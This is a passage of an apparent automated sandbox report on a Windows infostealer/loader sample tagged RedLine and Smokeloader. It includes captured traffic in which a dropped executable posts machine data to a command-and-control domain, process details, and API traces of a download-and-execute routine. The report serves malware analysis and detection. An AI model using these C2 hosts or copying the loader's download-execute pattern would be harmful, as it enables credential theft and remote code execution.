41 41 78 Data Ascii: WleWw8ZHptlsyemZ24FHd+safVBzjrz3Mb5ySHHBzJleBoHHgwKkHH6Pelka0tMkOous0HQdLmZ4e3FJMNDJShhXgQVSVHcdvM75mpkQUCZoGXzTcs75d/E+cYjxwI8Y3IVBRQKD5o6s37heCIdBb+xbf9BiCuvwIDxymiWQzFqfBkDFAoBmX73O+ZocE1FmLhy80/NOOLZxPDPLs0Heig4GRtZUUmxdvoX4XsiWguG6mf/BpB04NLK+csryAAx
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 74 4c 52 30 6d 4f 4f 71 56 2b 6f 57 4e 77 56 30 4f 63 76 47 4f 30 65 50 59 54 2b 39 54 47 34 64 63 57 38 41 51 67 61 33 34 4a 45 6c 55 63 43 70 4a 30 2b 69 69 6d 4c 69 4a 4b 42 63 65 54 49 4c 73 47 39 33 71 68 77 59 43 75 68 68 33 4e 44 54 52 68 62 67 39 4f 50 68 4d 45 6d 6d 33 73 66 71 67 67 5a 41 55 64 7a 2b 51 67 39 31 65 49 62 4c 47 4c 6d 36 4f 56 66 35 35 52 4a 53 68 68 58 68 56 5a 55 56 76 53 4f 75 39 2b 76 69 41 6c 52 6c 65 4e 72 47 50 6c 52 59 38 4b 33 2f 66 48 38 4d 4d 76 33 6b 45 55 62 57 77 5a 51 31 64 4a 42 74 77 69 78 48 36 75 49 46 30 4c 42 59 66 71 4f 4c 4e 7a 79 7a 72 76 33 74 62 6e 69 77 62 4a 42 54 39 68 61 46 77 74 45 68 30 4f 33 44 53 39 4f 4b 59 34 4d 67 73 46 6d 37 73 67 71 78 61 61 62 37 53 4b 6c 36 61 55 4e 34 41 61 65 6e 41 34 52 Data Ascii: tLR0mOOqV+oWNwV0OcvGO0ePYT+9TG4dcW8AQga34JElUcCpJ0+iimLiJKBceTILsG93qhwYCuhh3NDTRhbg9OPhMEmm3sfqggZAUdz+Qg91eIbLGLm6OVf55RJShhXhVZUVvSOu9+viAlRleNrGPlRY8K3/fH8MMv3kEUbWwZQ1dJBtwixH6uIF0LBYfqOLNzyzrv3tbniwbJBT9haFwtEh0O3DS9OKY4MgsFm7sgqxaab7SKl6aUN4AaenA4R
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 33 69 58 6e 7a 4d 4f 46 32 63 77 55 4c 33 36 55 67 71 33 2b 49 66 4b 48 6d 6a 72 62 65 61 4a 5a 44 44 32 56 32 45 41 51 50 47 45 53 37 64 50 6f 2f 38 48 42 31 53 67 71 78 6e 45 47 7a 43 49 67 79 6f 59 47 53 75 49 59 73 33 30 4e 69 4e 69 70 46 56 6b 70 65 57 63 35 6c 73 79 65 6d 64 69 49 64 46 39 48 71 63 72 4d 65 69 48 50 69 79 39 4c 77 78 54 37 4e 52 41 52 59 58 78 41 45 47 42 38 5a 6b 58 62 63 50 66 64 71 58 48 74 51 6e 4b 52 75 39 46 44 5a 64 4b 2b 5a 7a 37 61 65 45 59 35 4c 65 6c 6b 32 58 68 74 5a 55 55 6d 70 65 66 4d 77 34 58 5a 7a 43 47 4b 52 72 57 48 6c 56 73 55 34 77 4e 72 52 2f 49 5a 6d 6a 67 56 36 50 69 70 51 51 78 30 59 53 63 51 71 72 32 57 7a 4d 7a 55 56 46 34 44 6b 65 62 4e 51 69 47 79 7a 6c 34 44 6b 68 6e 43 4f 52 44 6c 30 61 68 67 41 44 77 Data Ascii: 3iXnzMOF2cwUL36Ugq3+IfKHmjrbeaJZDD2V2EAQPGES7dPo/8HB1SgqxnEGzCIgyoYGSuIYs30NiNipFVkpeWc5lsyemdiIdF9HqcrMeiHPiy9LwxT7NRARYXxAEGB8ZkXbcPfdqXHtQnKRu9FDZdK+Zz7aeEY5Lelk2XhtZUUmpefMw4XZzCGKRrWHlVsU4wNrR/IZmjgV6PipQQx0YScQqr2WzMzUVF4DkebNQiGyzl4DkhnCORDl0ahgADw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	58185	104.21.80.1	443	640	C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:46 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3CBXPDPIZ28LV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12809 Host: skidjazzyric.click
2025-01-08 08:44:46 UTC	12809	OUT	Data Raw: 2d 2d 33 43 42 58 50 44 50 49 5a 32 38 4c 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 36 36 43 31 41 36 36 33 46 37 30 34 31 30 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 33 43 42 58 50 44 50 49 5a 32 38 4c 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 43 42 58 50 44 50 49 5a 32 38 4c 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 33 43 42 58 50 44 50 49 5a 32 38 4c 56 0d 0a 43 Data Ascii: --3CBXPDPIZ28LVContent-Disposition: form-data; name="hwid"6066C1A663F70410822D1F4978021086--3CBXPDPIZ28LVContent-Disposition: form-data; name="pid"2--3CBXPDPIZ28LVContent-Disposition: form-data; name="lid"4h5VfH----3CBXPDPIZ28LVC
2025-01-08 08:44:47 UTC	1132	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ep2pu0tq0rup72f89ur0ids2tn; expires=Sun, 04 May 2025 02:31:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BC6KszjiZnGZBRXPjMiTmY2khahbK0qleG0WxBM%2BLmtwKXBStijABwCm%2BcB9FjH5GOp7%2BzcpIQ6BJJdrOl54yx0kUJthBkm8qlOLo2e8g0zPAuEw58BnqMCzJtGUXsqkCh4gUsU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae857bb5842d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1530&rtt_var=588&sent=9&recv=17&lost=0&retrans=0&sent_bytes=3057&recv_bytes=13746&delivery_rate=2758186&cwnd=230&unsent_bytes=0&cid=a12115516d38832c&ts=548&x=0"
2025-01-08 08:44:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 08:44:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	58186	104.21.80.1	443	640	C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:47 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7LAB8YY8CY2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15029 Host: skidjazzyric.click
2025-01-08 08:44:47 UTC	15029	OUT	Data Raw: 2d 2d 37 4c 41 42 38 59 59 38 43 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 36 36 43 31 41 36 36 33 46 37 30 34 31 30 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 37 4c 41 42 38 59 59 38 43 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 4c 41 42 38 59 59 38 43 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 37 4c 41 42 38 59 59 38 43 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --7LAB8YY8CY2Content-Disposition: form-data; name="hwid"6066C1A663F70410822D1F4978021086--7LAB8YY8CY2Content-Disposition: form-data; name="pid"2--7LAB8YY8CY2Content-Disposition: form-data; name="lid"4h5VfH----7LAB8YY8CY2Content-D
2025-01-08 08:44:48 UTC	1137	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0hukqvs48ssjn1pfc165kuvhjs; expires=Sun, 04 May 2025 02:31:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ld7IsHtD%2FbZOTd1hgioWgxJ%2FDRCML2zVPRbLYprDA%2BIEp05UQXzBs7%2Fzk7b0pf%2BmR5rPEpDZgdXj6vfiKzpWalwud%2B2QmtQWAxEM96aUP4ETIQ19pDLSb1fy9BSH8Vi2JIglflM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae85ebef6c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1585&rtt_var=640&sent=10&recv=19&lost=0&retrans=0&sent_bytes=3057&recv_bytes=15964&delivery_rate=2477375&cwnd=245&unsent_bytes=0&cid=8622db63306e53b3&ts=502&x=0"
2025-01-08 08:44:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 08:44:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	58187	104.21.80.1	443	640	C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:50 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CSTXJ29IHHX4YG7VS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20390 Host: skidjazzyric.click
2025-01-08 08:44:50 UTC	15331	OUT	Data Raw: 2d 2d 43 53 54 58 4a 32 39 49 48 48 58 34 59 47 37 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 36 36 43 31 41 36 36 33 46 37 30 34 31 30 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 43 53 54 58 4a 32 39 49 48 48 58 34 59 47 37 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 53 54 58 4a 32 39 49 48 48 58 34 59 47 37 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 43 53 54 58 Data Ascii: --CSTXJ29IHHX4YG7VSContent-Disposition: form-data; name="hwid"6066C1A663F70410822D1F4978021086--CSTXJ29IHHX4YG7VSContent-Disposition: form-data; name="pid"3--CSTXJ29IHHX4YG7VSContent-Disposition: form-data; name="lid"4h5VfH----CSTX
2025-01-08 08:44:50 UTC	5059	OUT	Data Raw: 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2025-01-08 08:44:50 UTC	1135	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3k5sn4idh5uo96j2sib6jiu0mr; expires=Sun, 04 May 2025 02:31:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xcUpy0jXXb0N0od%2FdoUC1LwNrsOXIDiywoviR3E0ujy%2BLzo4L%2F%2BYT6rc6ZEeVYpYDw%2Bp7F1AkGdSUOZe2tdEwp5o7QD0z4pPAxI5DKx4J77RMmre7f5arfR4SSc0lTTS5HomPVI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae86eaa8843ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1682&rtt_var=638&sent=12&recv=25&lost=0&retrans=0&sent_bytes=3058&recv_bytes=21353&delivery_rate=2559906&cwnd=231&unsent_bytes=0&cid=08b19bc74eb9fea5&ts=530&x=0"
2025-01-08 08:44:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 08:44:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:42:27
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\chu4rWexSX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\chu4rWexSX.exe"
Imagebase:	0x400000
File size:	380'928 bytes
MD5 hash:	D60499B26AAA1ADFB80910660D8824E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:42:35
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\92F8.tmp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe"
Imagebase:	0x640000
File size:	4'976'128 bytes
MD5 hash:	39ED277DE9297BF19DA7B0FA7EC41370
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 22%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:44:50
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 1824
Imagebase:	0x540000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	21.3%
Signature Coverage:	3.7%
Total number of Nodes:	738
Total number of Limit Nodes:	20

Executed Functions

Function 0040273E Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402761
InternetOpenUrlW.WININET(00000000,004596F8,00000000,00000000,00000000,00000000), ref: 00402777
GetTempPathW.KERNEL32(00000105,?), ref: 00402793
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 004027A9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004027E2
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 0040281E
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040283B
CloseHandle.KERNEL32(00000000), ref: 00402851
ShellExecuteExW.SHELL32(?), ref: 004028B2
WaitForSingleObject.KERNEL32(?,00008000), ref: 004028C7
CloseHandle.KERNEL32(?), ref: 004028D3
InternetCloseHandle.WININET(00000000), ref: 004028DC
InternetCloseHandle.WININET(00000000), ref: 004028DF

Strings

<, xrefs: 0040288F
ShareScreen, xrefs: 0040275C
.exe, xrefs: 004027B5

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Internet$CloseFileHandle$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: .exe$<$ShareScreen
API String ID: 3323492106-493228180
Opcode ID: 5ffb97128f53584dc19109bb6b4a5be28956e95870f6d0853bc0f52559060d1b
Instruction ID: 932575238cfee65a4777cc0c54c501b8ba877ff59808714397c98c777b3f8fbc
Opcode Fuzzy Hash: 5ffb97128f53584dc19109bb6b4a5be28956e95870f6d0853bc0f52559060d1b
Instruction Fuzzy Hash: 5541777590021CAFEB209B65DD89FEA77FCFF05344F0081B6A649E2190DE749E858FA4

Function 007007A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 007007CE
Module32First.KERNEL32(00000000,00000224), ref: 007007EE

Memory Dump Source

Source File: 00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: b3cc7ae59cfbb1d951a1379a64e313f78c0a17a071070eca1ad4fd3da544b157
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 41F06235101715AFDB203AB5988DB6F76E8AF59775F101628E642910C0DA78F8454AA1

Function 0042FBD9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

qwB, xrefs: 0042FECE, 0042FE64, 0042FE86

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID: qwB
API String ID: 0-1390286072
Opcode ID: 2619bd42e0aaac62bd8673b22ad93fd9d22258d12a10df46a37790a2e70c541d
Instruction ID: 9375645e15640181a8d91f970ee1fe30879534d869e31ad289c3001955ab72f9
Opcode Fuzzy Hash: 2619bd42e0aaac62bd8673b22ad93fd9d22258d12a10df46a37790a2e70c541d
Instruction Fuzzy Hash: 55C1E774B042599FDB11DFA9E8417AE7BB0BF4A300FC5007BE914A7392C7389945CB69

Function 00439CEC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004399BA: CreateFileW.KERNEL32(00000000,00000000,?,00439D95,?,?,00000000,?,00439D95,00000000,0000000C), ref: 004399D7

GetLastError.KERNEL32 ref: 00439E00
__dosmaperr.LIBCMT ref: 00439E07
GetFileType.KERNEL32(00000000), ref: 00439E13
GetLastError.KERNEL32 ref: 00439E1D
__dosmaperr.LIBCMT ref: 00439E26
CloseHandle.KERNEL32(00000000), ref: 00439E46
CloseHandle.KERNEL32(?), ref: 00439F90
GetLastError.KERNEL32 ref: 00439FC2
__dosmaperr.LIBCMT ref: 00439FC9

Strings

H, xrefs: 00439F4E

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 421b56908cdc5effa97339455402cbdc1e0931068494d8ea353fec2ca3bfec44
Instruction ID: ae8dea3f4feddee472c3039590847cc5196dbfc9c051d7f81bf9d8d1aa032c18
Opcode Fuzzy Hash: 421b56908cdc5effa97339455402cbdc1e0931068494d8ea353fec2ca3bfec44
Instruction Fuzzy Hash: 23A14632A101149FDF19DF68D8927AE7BB0EB0A324F14115EE811DB3D2D7788D12CB9A

Function 0074003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0074024D

Strings

cess, xrefs: 0074018D
kernel32.dll, xrefs: 0074008F, 00740095

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 4e37773463db04960ea610d5de5676e08d2a9b3ebfc9bb26bbd888d8c2496cbd
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: A2527874A00229DFDB64CF68C984BA8BBB1BF09304F1480D9E90DAB251DB34AE94DF55

Function 0040294E Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402971

Part of subcall function 00401090: _wcslen.LIBCMT ref: 00401097
Part of subcall function 00401090: _wcslen.LIBCMT ref: 004010B3

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402B84
InternetCloseHandle.WININET(00000000), ref: 00402B95
InternetCloseHandle.WININET(00000000), ref: 00402B98

Strings

https://post-to-me.com/track_prt.php?sub=, xrefs: 004029A1, 00402ACD, 00402B3C
ShareScreen, xrefs: 0040296C
&cc=DE, xrefs: 00402AFE, 00402B04, 00402B61

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Internet$CloseHandleOpen_wcslen
String ID: &cc=DE$ShareScreen$https://post-to-me.com/track_prt.php?sub=
API String ID: 3067768807-1501832161
Opcode ID: 52e97794ee95335dc78f8416977e9998a62e16c44e323fee60c9196bc624e54f
Instruction ID: 96fb9e56c39c5b6cbbb8185ec49ff5eb092fe1c3b949b106adb38a0aa8465585
Opcode Fuzzy Hash: 52e97794ee95335dc78f8416977e9998a62e16c44e323fee60c9196bc624e54f
Instruction Fuzzy Hash: 25510765678344E9E300DFB0BC56B6223A8FF58712F50243BE608DB2B2E7B59D44871E

Function 00404959 Relevance: 9.1, APIs: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Cnd_init.LIBCPMT ref: 0040496D
__Mtx_init.LIBCPMT ref: 00404993
std::_Cnd_initX.LIBCPMT ref: 004049B6
__Thrd_start.LIBCPMT ref: 004049DB
std::_Cnd_waitX.LIBCPMT ref: 004049FB
std::_Cnd_initX.LIBCPMT ref: 00404A28

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: 758fa5e44a01ee14b8a52c14185e502d9f7e8ae7162dbdcd61a289d990939858
Instruction ID: cd3e31c43e5b12e2ff9ab8fc16a5b2d95a1e586a92760bee455ed7c32e82bfe6
Opcode Fuzzy Hash: 758fa5e44a01ee14b8a52c14185e502d9f7e8ae7162dbdcd61a289d990939858
Instruction Fuzzy Hash: 01216FB1D05248AADF01EBA9D841BDEB7B8AF48324F14407FE100B32D2DB7D8D448A6D

Function 00404CD7 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Cnd_initX.LIBCPMT ref: 00404CF3
__Cnd_signal.LIBCPMT ref: 00404CFF
std::_Cnd_initX.LIBCPMT ref: 00404D14
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 00404D1B

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID:
API String ID: 2059591211-0
Opcode ID: dbcc001eb0858b7449476dfc2f4a3a6514049a605633c18455a0033fc8658a67
Instruction ID: 2fc375d100873d72a50546ada61b70f75b7c06dc6b9869c13df35d59917d705d
Opcode Fuzzy Hash: dbcc001eb0858b7449476dfc2f4a3a6514049a605633c18455a0033fc8658a67
Instruction Fuzzy Hash: D1F08235500741ABEB207772CC07B0A72A0AF40328F14893EF195769E2CBBEA8508A9D

Function 004026AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 004026D9
__fassign.LIBCMT ref: 004026E9

